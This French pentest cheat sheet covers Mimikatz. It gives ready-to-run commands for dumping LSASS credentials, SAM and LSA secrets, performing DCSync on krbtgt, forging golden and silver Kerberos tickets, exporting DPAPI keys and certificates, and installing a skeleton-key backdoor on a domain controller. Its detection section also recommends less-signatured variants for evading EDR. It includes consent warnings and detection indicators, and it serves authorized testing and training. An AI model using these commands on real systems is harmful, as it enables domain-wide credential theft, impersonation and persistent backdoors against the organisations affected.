---
title: Mimikatz
description: "Extraire les secrets Windows : LSASS, SAM, LSA, Kerberos, DPAPI et tickets."
category: post
kind: tool
tags: [credentials, lsass, kerberos, dpapi, golden-ticket]
level: advanced
updated: 2026-11-11
order: 7
aliases: ["kiwi", "lsass dump", "sekurlsa"]
---

## Préparer

```powershell
# Exécuter en admin (ou SYSTEM)
.\mimikatz.exe

mimikatz # privilege::debug
mimikatz # token::elevate
```

> [!TIP]
> `privilege::debug` est indispensable pour accéder à LSASS. Si le debug est refusé, vérifie les droits du processus et les protections EDR avant d'insister : l'échec est souvent la première alerte.

## Secrets LSASS

```powershell
# Mots de passe et hashes des sessions actives
mimikatz # sekurlsa::logonpasswords

# WDigest (mot de passe en clair si activé)
mimikatz # sekurlsa::wdigest

# Clés Kerberos
mimikatz # sekurlsa::ekeys

# Tickets présents en mémoire
mimikatz # sekurlsa::tickets /export
```

```powershell
# Dump LSASS hors ligne
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Analyse avec pypykatz
pypykatz lsa minidump lsass.dmp
```

## SAM, LSA et DCSync

```powershell
# Comptes locaux (hashs NTLM)
mimikatz # lsadump::sam

# Secrets LSA (dont clés de service)
mimikatz # lsadump::lsa /patch

# DCSync : extraire le hash d'un compte du domaine
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# Trusts et mots de passe de confiance
mimikatz # lsadump::trust /patch
```

## Tickets Kerberos

```powershell
# Golden ticket (krbtgt nécessaire)
mimikatz # kerberos::golden /user:Administrator /domain:domain.local \
  /sid:S-1-5-21-1111111111-2222222222-3333333333 /krbtgt:KRBTGT_HASH /ptt

# Silver ticket (hash du compte de service)
mimikatz # kerberos::golden /user:Administrator /domain:domain.local \
  /sid:S-1-5-21-... /target:fileserver.domain.local \
  /service:cifs /rc4:SERVICE_HASH /ptt

# Charger un ticket existant
mimikatz # kerberos::ptt ticket.kirbi
mimikatz # kerberos::list
```

## DPAPI et certificats

```powershell
# Clés de chiffrement utilisateur
mimikatz # dpapi::masterkey /in:masterkey.bin /rpc

# Certificats de la machine
mimikatz # crypto::certificates /systemstore:local_machine /export
```

```powershell
# Skeleton key : mot de passe maître pour tous les comptes (DC)
mimikatz # misc::skeleton

# Vérifier que la backdoor est active
# Login : n'importe quel compte avec le mot de passe "mimikatz"
```

> [!WARNING]
> `misc::skeleton` doit être exécuté sur un contrôleur de domaine et modifie le comportement d'authentification de tout le domaine. C'est une action de persistance lourde, jamais acceptable en audit sans accord explicite. Les golden tickets et DCSync sont également critiques : privilégie la démonstration contrôlée.

## Détection

- Accès suspect à `lsass.exe` (handle `PROCESS_VM_READ`).
- Création de `lsass.dmp`, de services ou de tickets inhabituels.
- Event 4768/4769 anormaux, golden ticket avec des durées de vie étranges.
- EDR : les chaînes Mimikatz sont largement signatureées ; préfère des variantes comme `pypykatz`, `SafetyKatz` ou un dump via `comsvcs.dll` en environnement de test.